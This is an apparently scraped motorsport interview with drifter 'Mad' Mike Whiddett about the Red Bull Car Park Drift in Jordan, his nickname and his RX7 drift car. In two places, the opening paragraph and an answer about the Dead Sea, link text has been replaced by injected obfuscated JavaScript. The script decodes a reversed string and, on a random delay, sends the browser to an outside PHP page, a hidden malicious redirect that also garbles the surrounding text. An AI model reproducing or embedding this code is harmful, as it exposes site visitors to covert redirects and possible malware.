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One would have thought – considering the amount of action on-track in Jordan recently – that there’d be little time to roam the paddock and check out the lifestyle. Think again.
Whilst chatting with the Muath Al-Essas and Ra’fat Harounds of this world, the crankandpiston voice recorder also happened to stumble across Auckland’s own ‘Mad’ Mike Whiddett, former NZDRIFT and Formula D Asia Pacific World Drift Champion, current $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/red-bull-car-park-drift-jordan-finals-a-scrapbook/” target=”_blank”>Red Bull Car Park Drift judge, and all-round internet sensation.
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But where did the ‘Mad Mike’ name come from? What keeps him coming back to the drifting circuit? And how did he avoid spending the rest of his life in a wheelchair even despite the doctor’s assurances?
Turns out we packed quite a lot into our little chat…
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Mike, you’re back again for the Red Bull Car Park drift event. Red Bull has clearly worked to make the Car Park Drift ‘big’. What do you think stands out about the event?
“Well the last Red Bull Car Park drift event I went to was in Lebanon, where we had a good 33,000-odd spectators. And the atmosphere was just crazy! The track layout was both indoor and outdoor, so the action went into the stadium and there was fireworks and LED lights and strobes, plus the bands that were playing. The whole thing was just an awesome event, and what I like was that Red Bull really went all out for the fans.
“Now we’re here in Jordan, which has a completely different feel. I’ve just been told that the Dead Sea is the lowest point in the world, and it’s jut crazy! You come from the airport and you just go down into this big huge crater, and inside that you’ve got the event itself and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/red-bull-tv/” target=”_blank”>Red Bull’s attempts to give the people a show. I mean, what they’ve done to tie it all together is just frickin’ awesome!”
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You’ve won numerous championships down the years, and this weekend someone will be crowned King of Drift. Tell us, from your own experience, a bit about the pressure these guys will face…
“I kind of take the pressure off because I want to entertain rather than win. I mean, I still want to win and I go into each event focused on winning, but I’ve always looked at…my mentality has always been to either win the judges or win the crowd, and I always want to win the crowd. As a kid, I remember going to watch motocross events, and watching those dudes doing the big tricks off the ramps. Since then I always wanted to be ‘that guy’ and give everyone their $20-worth, and send everyone home remembering Mad Mike. Obviously I try and live up to my name. It inspires me to be…well, mad!
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Is that how the ‘Mad’ Mike Whiddett name came about then?
“Well the name actually came about in 1999 when I used to do freestyle motocross. Someone threw the name out there when they saw the kind of tricks I was doing, and it’s just sort of stuck with me since then.”
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Hard to believe, but you’ve only been drifting professionally since late 2006. What lessons have you learnt during that period that you feel are vital for all newcomers to the sport?
“I guess having fun is the main thing. You’ve got to have fun to make it work, and to build good relationships with people. Drifting is all about sponsorship, and it’s about building good relationships, and just making sure you get out there and have fun, and your team has fun. I’m fortunate enough to have a team that loves to develop the car as much as I love to beat it down! I think it’s a full package, not just to have a great driver but to have a great team, great car, great sponsors and the support behind you is what’s going to make a good package
“They’ll want to get used to the travelling too! I’m fortunate enough to be the most travelled drifter in the world, so my passport is full of stamps! You can get electronic passports now, but I’d rather hang around for half an hour at passport control to get it stamped. Every stamp tells a story, y’know.”
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One of your more famous driftcars in the ‘Madbul’ RX7. Why did you choose to compete in a Mazda RX7?
“I’ve always been into rotaries. When I was nine years old, we had a holiday home we went to at Christmas. I remember when I was nine and these teenage dudes rolling through, and you could just hear (imitates noise) from this little Toyota Corolla they’d done a rotary conversion on. From the moment I heard that car, I just thought, ‘what the hell is that motor? I’ve got to have it!’
“I was running motocross at that stage and the rotary sounded very similar. By the age of thirteen, I’d already got my own car built. It was an old 1978 Mazda 323, which comes standard with a 1000cc piston engine. We did 12A rotary conversion and just went from there. The RX8, the Badbul, is our 30th conversion. And I’ve got my Toyota Corolla dirt hacks. But with the drifting, it was much easier to get the body panels and parts for an RX7.”
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Any particular plans in mind for the RX7…?
“The RX7 is in generation five, so it’s really well-developed and there’s a really good balance between power, traction and weight. That is what makes a great drift car, the perfect balance between the three. We could make it more competitive by not spending any more money on the design, but it would take character away from what the Madbul is.
“It is, I think, the most well-known drift car in the world. It’s won Pro Drift Car of the Year three years out of four, and the only time it didn’t win was when we had the RX8. It’s a very competitive chassis. Wherever you go, you’ve got to make the car work for the judging procedure. I want to do a four-rotor turbo, which is a good 1000hp, not so much a Championship winning car, but would probably be the next evolution.
“The Madbul is iconic. To be able to go overseas, and hear people go, ‘whoa, bloody hell, this kid has reproduced this motor that got banned from Le Mans into a drift car that just screams’! That just gives me motivation to keep on pushing.”
